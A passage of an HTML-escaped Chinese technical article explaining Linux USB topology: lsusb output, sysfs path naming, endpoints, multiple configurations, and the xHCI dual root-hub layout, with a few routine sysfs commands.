&lt;tr&gt;&lt;td&gt;&lt;code&gt;Device 001&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;该总线上的设备编号（按枚举顺序分配）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;ID 1d6b:0002&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;VID (Vendor ID，由 USB-IF 分配) + PID (Product ID，厂商自定义)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Linux Foundation ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;从 &lt;code&gt;&#x2F;usr&#x2F;share&#x2F;hwdata&#x2F;usb.ids&lt;&#x2F;code&gt; 查表得到的人类可读名称&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;以上三行表示两台设备：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;1d6b:0002&lt;&#x2F;code&gt; — USB 2.0 根集线器（xHCI 控制器在 USB 2.0 侧的抽象）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0627:0001&lt;&#x2F;code&gt; — QEMU 虚拟 USB Tablet（模拟触控&#x2F;鼠标输入）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;1d6b:0003&lt;&#x2F;code&gt; — USB 3.0 根集线器（同一控制器在 USB 3.0 侧的抽象）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;lsusb-tv-shu-zhuang-tuo-bu&quot;&gt;&lt;code&gt;lsusb -tv&lt;&#x2F;code&gt; 树状拓扑&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;-t&lt;&#x2F;code&gt; 显示层级拓扑，&lt;code&gt;-v&lt;&#x2F;code&gt; 显示详细信息：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;:  Bus 001.Port 001: Dev 001, Class=root_hub, Driver=xhci_hcd&amp;#x2F;15p, 480M
    ID 1d6b:0002 Linux Foundation 2.0 root hub
    |__ Port 001: Dev 002, If 0, Class=Human Interface Device, Driver=usbhid, 480M
        ID 0627:0001 Adomax Technology Co., Ltd QEMU Tablet
&amp;#x2F;:  Bus 002.Port 001: Dev 001, Class=root_hub, Driver=xhci_hcd&amp;#x2F;15p, 5000M
    ID 1d6b:0003 Linux Foundation 3.0 root hub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;字段&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;&#x2F;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;USB 拓扑的根节点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Bus 001&lt;&#x2F;code&gt;, &lt;code&gt;Bus 002&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;分别对应 USB 2.0 总线和 USB 3.0 总线&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Port 001&lt;&#x2F;code&gt;, &lt;code&gt;Port ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;物理端口号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Dev N&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;设备编号&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class=root_hub&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;设备类别（根集线器 &#x2F; HID 等）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Driver=xhci_hcd&#x2F;15p&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;绑定驱动和下游端口数（15 个端口）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;480M&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;链路速率 480 Mbps (USB 2.0 High-Speed)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;5000M&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;链路速率 5 Gbps (USB 3.0 SuperSpeed)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;|__&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;缩进表示子设备，连接在本集线器的某个端口上&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;If 0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Interface 0（一个设备可同时暴露多个接口）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Class=Human Interface Device&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;接口类别为 HID（键盘&#x2F;鼠标&#x2F;触控类）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;Driver=usbhid&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;绑定驱动&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;sysfs-lu-jing-ming-ming-gui-ze&quot;&gt;sysfs 路径命名规则&lt;&#x2F;h1&gt;
&lt;p&gt;设备在 &lt;code&gt;&#x2F;sys&#x2F;bus&#x2F;usb&#x2F;devices&#x2F;&lt;&#x2F;code&gt; 中的路径名由三部分构成：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;总线&amp;gt;-&amp;lt;端口路径&amp;gt;:&amp;lt;配置&amp;gt;.&amp;lt;接口&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bus-part-zong-xian-bu-fen&quot;&gt;bus-part（总线部分）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;示例&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;usb1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;USB Bus 1 的虚拟根设备（唯一不带端口路径的特例）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;usb2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;USB Bus 2 的虚拟根设备&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;port-path-duan-kou-lu-jing-bu-fen&quot;&gt;port-path（端口路径部分）&lt;&#x2F;h2&gt;
&lt;p&gt;端口路径从根集线器向下逐级编号，用 &lt;code&gt;-&lt;&#x2F;code&gt; 分隔第一个端口与总线，后续层级都用 &lt;code&gt;.&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;示例&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Bus 1 上的根集线器本身（port 0 仅为占位符，非真实端口）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Bus 1 根集线器的 Port 1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Bus 1 根集线器的 Port 2&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-1.2&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Bus 1 → 根 Port 1 上的下游集线器 → 该集线器的 Port 2&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-1.2.3&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;再延伸一级：Port 2 下级集线器的 Port 3&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;3-2.1.4&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;Bus 3 → Port 2 → 集线器 Port 1 → 集线器 Port 4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;规则概括：&lt;&#x2F;strong&gt; &lt;code&gt;-&lt;&#x2F;code&gt; 只出现一次，作为总线号与端口链的分隔符；&lt;code&gt;0&lt;&#x2F;code&gt; 仅用于根集线器作为设备自身被引用时。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;config-interface-pei-zhi-yu-jie-kou-bu-fen&quot;&gt;config.interface（配置与接口部分）&lt;&#x2F;h2&gt;
&lt;p&gt;USB 设备层次为：Device → Configuration → Interface → Endpoint。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;示例&lt;&#x2F;th&gt;&lt;th&gt;含义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;设备级别（无配置&#x2F;接口信息）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-1:1.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;设备，配置 1，接口 0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-1:1.1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同一设备的配置 1 下的接口 1（复合设备可多接口）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-1:2.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;同一设备的配置 2 下的接口 0（多配置设备）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;1-0:1.0&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;根集线器作为设备，配置 1，接口 0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;zong-he-shi-li&quot;&gt;综合示例&lt;&#x2F;h2&gt;
&lt;p&gt;在 &lt;code&gt;&#x2F;sys&#x2F;bus&#x2F;usb&#x2F;devices&#x2F;&lt;&#x2F;code&gt; 中的一个多层拓扑可能长这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;usb1                    ← Bus 1 根设备
1-0:1.0                 ← Bus 1 根集线器接口
1-1                     ← 根 Port 1 上的设备
1-1:1.0                 ← 该设备，配置 1 接口 0
1-1:1.1                 ← 该设备，配置 1 接口 1（复合设备）
1-1.2                   ← 该设备是个下游集线器，其 Port 2 上的设备
1-1.2:1.0
1-1.2.3                 ← 下游集线器 Port 3 上的设备
1-1.2.3:1.0

usb2                    ← Bus 2 根设备
2-0:1.0
2-1                     ← Bus 2 根 Port 1
2-1:1.0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;duan-dian-endpoint&quot;&gt;端点（Endpoint）&lt;&#x2F;h1&gt;
&lt;p&gt;端点是 USB 通信的最终收发单元，位于整个层次的最底层：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Device → Configuration → Interface → Endpoint
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ep0-she-bei-ji-de-kong-zhi-duan-dian&quot;&gt;EP0：设备级的控制端点&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;EP0 属于设备，不属于任何接口。&lt;&#x2F;strong&gt; 每个 USB 设备强制拥有 EP0，在配置和接口建立之前就已存在。EP0 是双向控制端点，用于：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;获取设备&#x2F;配置&#x2F;接口&#x2F;端点描述符&lt;&#x2F;li&gt;
&lt;li&gt;设置地址（&lt;code&gt;SET_ADDRESS&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;选择配置（&lt;code&gt;SET_CONFIGURATION&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;厂商自定义的控制命令&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;任何接口都不能声明或占用 EP0。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;duan-dian-zi-yuan-yu-fen-pei&quot;&gt;端点资源与分配&lt;&#x2F;h2&gt;
&lt;p&gt;USB 端点地址由 4 位端点号 + 1 位方向组成，规范限制每个设备最多 &lt;strong&gt;16 个端点号&lt;&#x2F;strong&gt;（EP0 ~ EP15）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;端点地址字节: [D7 = 方向: 1=IN, 0=OUT] [D3..D0 = 端点号]

EP1 OUT = 0x01    EP1 IN = 0x81
EP2 OUT = 0x02    EP2 IN = 0x82
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;扣除强制占用的 EP0，剩余 &lt;strong&gt;15 个端点号&lt;&#x2F;strong&gt;（EP1 ~ EP15），每个号可分配 IN 和 OUT 两个方向，因此单方向计最多 &lt;strong&gt;30 个端点&lt;&#x2F;strong&gt;（不含 EP0）。&lt;&#x2F;p&gt;
&lt;p&gt;端点号是&lt;strong&gt;设备级资源&lt;&#x2F;strong&gt;：一个端点号在给定配置内只能被一个接口独占，不能跨接口共用。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;设备端点池：EP1 IN, EP1 OUT, EP2 IN, EP2 OUT, ..., EP15 IN, EP15 OUT
              │                   │
              │      Interface 0  │      Interface 1
              └───────────────────┴──────────────────────
                 各自领走端点，同一个端点号不会出现在两个接口里
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意 &lt;code&gt;EP1 IN&lt;&#x2F;code&gt; 和 &lt;code&gt;EP1 OUT&lt;&#x2F;code&gt; 虽然共用端点号 1，但&lt;strong&gt;是两个独立的端点&lt;&#x2F;strong&gt;，各占端点池的一个位置。&lt;&#x2F;p&gt;
&lt;p&gt;一个接口可以独占所有剩余端点（如一个复杂的 UVC 摄像头用掉 6~8 个），也可以多个接口分摊。总之是&lt;strong&gt;瓜分&lt;&#x2F;strong&gt;，不是共享。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;duan-dian-lei-xing&quot;&gt;端点类型&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;类型&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;th&gt;典型场景&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Control&lt;&#x2F;td&gt;&lt;td&gt;设备配置&#x2F;命令&lt;&#x2F;td&gt;&lt;td&gt;EP0（设备级）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Interrupt&lt;&#x2F;td&gt;&lt;td&gt;低延迟、小数据量&lt;&#x2F;td&gt;&lt;td&gt;HID 键盘&#x2F;鼠标&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Bulk&lt;&#x2F;td&gt;&lt;td&gt;大数据量、无延迟保证&lt;&#x2F;td&gt;&lt;td&gt;Mass Storage、串口&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Isochronous&lt;&#x2F;td&gt;&lt;td&gt;固定带宽、允许丢包&lt;&#x2F;td&gt;&lt;td&gt;摄像头、音频&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;chang-jian-jie-kou-de-duan-dian-shi-yong&quot;&gt;常见接口的端点使用&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;设备类型&lt;&#x2F;th&gt;&lt;th&gt;接口数&lt;&#x2F;th&gt;&lt;th&gt;端点&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;HID 键盘&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;1 IN interrupt&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;HID 鼠标+键盘&lt;&#x2F;td&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;2 IN interrupt（各 1 个）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Mass Storage（U 盘）&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;1 IN bulk + 1 OUT bulk&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;CDC ACM（串口）&lt;&#x2F;td&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;1 IN bulk + 1 OUT bulk + 1 IN interrupt（通知）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;UVC 摄像头&lt;&#x2F;td&gt;&lt;td&gt;2~3&lt;&#x2F;td&gt;&lt;td&gt;1 isochronous IN + alternate settings 的多组 isochronous 端点&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;duo-pei-zhi-multiple-configurations&quot;&gt;多配置（Multiple Configurations）&lt;&#x2F;h1&gt;
&lt;p&gt;USB 规范允许一个设备有多个配置（Configuration），但同一时刻只有一个配置生效，且互相排斥。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shen-me-shi-hou-yong-duo-pei-zhi&quot;&gt;什么时候用多配置&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;场景&lt;&#x2F;th&gt;&lt;th&gt;配置 1&lt;&#x2F;th&gt;&lt;th&gt;配置 2&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;低功耗模式&lt;&#x2F;td&gt;&lt;td&gt;全功能（键盘+鼠标），耗电高&lt;&#x2F;td&gt;&lt;td&gt;仅键盘，耗电低&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;固件升级&lt;&#x2F;td&gt;&lt;td&gt;正常工作模式&lt;&#x2F;td&gt;&lt;td&gt;DFU (Device Firmware Upgrade)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;多用途&lt;&#x2F;td&gt;&lt;td&gt;CDC ECM（网卡）&lt;&#x2F;td&gt;&lt;td&gt;其他功能&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;兼容性&lt;&#x2F;td&gt;&lt;td&gt;USB 3.0 全速&lt;&#x2F;td&gt;&lt;td&gt;降级 USB 2.0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;实际上，&lt;strong&gt;99.9% 的设备只有一个配置&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-de-xuan-ze-yu-qie-huan&quot;&gt;配置的选择与切换&lt;&#x2F;h2&gt;
&lt;p&gt;设备插入后，内核自动遍历所有配置描述符，并默认激活配置 1。可以通过 sysfs 手动切换：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看当前激活的配置
cat &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;usb&amp;#x2F;devices&amp;#x2F;1-1&amp;#x2F;bConfigurationValue
# → 1

# 查看设备支持几个配置
cat &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;usb&amp;#x2F;devices&amp;#x2F;1-1&amp;#x2F;bNumConfigurations
# → 2

# 切换到配置 2
echo 2 | sudo tee &amp;#x2F;sys&amp;#x2F;bus&amp;#x2F;usb&amp;#x2F;devices&amp;#x2F;1-1&amp;#x2F;bConfigurationValue
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;切换配置时内核会解绑旧配置下所有接口的驱动，重建新接口，再重新匹配驱动。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qie-huan-pei-zhi-gu-jian-zhong-mei-ju&quot;&gt;切换配置 ≠ 固件重枚举&lt;&#x2F;h2&gt;
&lt;p&gt;更常见的场景是 &lt;strong&gt;usb_modeswitch&lt;&#x2F;strong&gt; 之类的工具，它不是切换配置，而是让设备固件在电气层面断开再重连，以新的 VID&#x2F;PID 重新枚举：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;插入设备 → 识别为 Mass Storage (PID=1001)
    ↓ usb_modeswitch 发送 SCSI&amp;#x2F;vendor 命令
设备断开 USB 连接
    ↓ 设备固件切换内部模式
设备重新上拉 D+ → 识别为 Modem&amp;#x2F;网卡 (PID=1002)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;配置切换&lt;&#x2F;th&gt;&lt;th&gt;固件重枚举&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;VID&#x2F;PID&lt;&#x2F;td&gt;&lt;td&gt;不变&lt;&#x2F;td&gt;&lt;td&gt;可不同&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;机制&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;SetConfiguration()&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;电气断开再重连&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;对主机而言&lt;&#x2F;td&gt;&lt;td&gt;同一设备&lt;&#x2F;td&gt;&lt;td&gt;两个独立的插入事件&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;xhci-shuang-zong-xian-jia-gou&quot;&gt;xHCI 双总线架构&lt;&#x2F;h1&gt;
&lt;p&gt;xHCI 控制器内部有两个独立的根集线器——USB 2.0 和 USB 3.0 各一个。一个物理端口从同一个插座同时引出两组引脚：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;                     xHCI 控制器
                    ┌─────────────┐
                    │             │
   USB 2.0 总线     │  ┌───────┐  │     USB 3.0 总线
   (Bus 1, 480M)    │  │ 芯片  │  │     (Bus 2, 5000M)
       ↑            │  └───────┘  │          ↑
       │            │             │          │
       └────────────┼─────────────┼──────────┘
                 物理端口 (同一个物理插座)
              ┌───┴───┐
          D+&amp;#x2F;D-    SSTX+&amp;#x2F;SSRX+
        (USB 2.0)   (USB 3.0)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;she-bei-lu-you&quot;&gt;设备路由&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;插入设备类型&lt;&#x2F;th&gt;&lt;th&gt;使用引脚&lt;&#x2F;th&gt;&lt;th&gt;枚举到&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;USB 3.0&#x2F;3.x (SuperSpeed)&lt;&#x2F;td&gt;&lt;td&gt;SSTX&#x2F;SSRX&lt;&#x2F;td&gt;&lt;td&gt;Bus 2 (USB 3.0 总线)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;USB 2.0 (High&#x2F;Full&#x2F;Low Speed)&lt;&#x2F;td&gt;&lt;td&gt;D+&#x2F;D-&lt;&#x2F;td&gt;&lt;td&gt;Bus 1 (USB 2.0 总线)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;因此 &lt;code&gt;1-1&lt;&#x2F;code&gt; 和 &lt;code&gt;2-1&lt;&#x2F;code&gt; 会同时出现在 sysfs 中——它们是&lt;strong&gt;同一个物理端口的 USB 2.0 影子和 USB 3.0 影子&lt;&#x2F;strong&gt;，设备实际只出现在其中一条总线上，取决于插入设备的速度层级。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhi-ze-hua-fen&quot;&gt;职责划分&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;层&lt;&#x2F;th&gt;&lt;th&gt;职责&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;物理层&lt;&#x2F;td&gt;&lt;td&gt;D+&#x2F;D- 和 SSTX&#x2F;SSRX 是两组独立差分信号线&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;xHCI 控制器硬件&lt;&#x2F;td&gt;&lt;td&gt;内部两个根集线器，根据检测到的信号自动路由到对应总线&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;xhci_hcd&lt;&#x2F;code&gt; 驱动&lt;&#x2F;td&gt;&lt;td&gt;为两个根集线器分别创建 &lt;code&gt;usb1&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;usb2&lt;&#x2F;code&gt;，管理端口映射和设备枚举&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;USB 核心 (usbcore)&lt;&#x2F;td&gt;&lt;td&gt;抽象层，统一设备模型与 sysfs 接口&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;设备驱动 (usbhid 等)&lt;&#x2F;td&gt;&lt;td&gt;不感知上述细节，只看到绑定到自己接口上的设备&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;wei-shen-me-gen-ji-xian-qi-shi-1-0-er-fei-1-0-1&quot;&gt;为什么根集线器是 &lt;code&gt;1-0&lt;&#x2F;code&gt; 而非 &lt;code&gt;1-0.1&lt;&#x2F;code&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;根集线器的端口路径命名中，&lt;code&gt;-0&lt;&#x2F;code&gt; 是占位符——根集线器没有上游端口可以编号，所以用 &lt;code&gt;0&lt;&#x2F;code&gt; 表示它作为设备本身。&lt;&#x2F;p&gt;
&lt;p&gt;但引用根集线器上的端口时，路径直接从该端口号开始，根集线器本身不在路径中出现：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;期望的写法（错误）&lt;&#x2F;th&gt;&lt;th&gt;实际写法&lt;&#x2F;th&gt;&lt;th&gt;原因&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
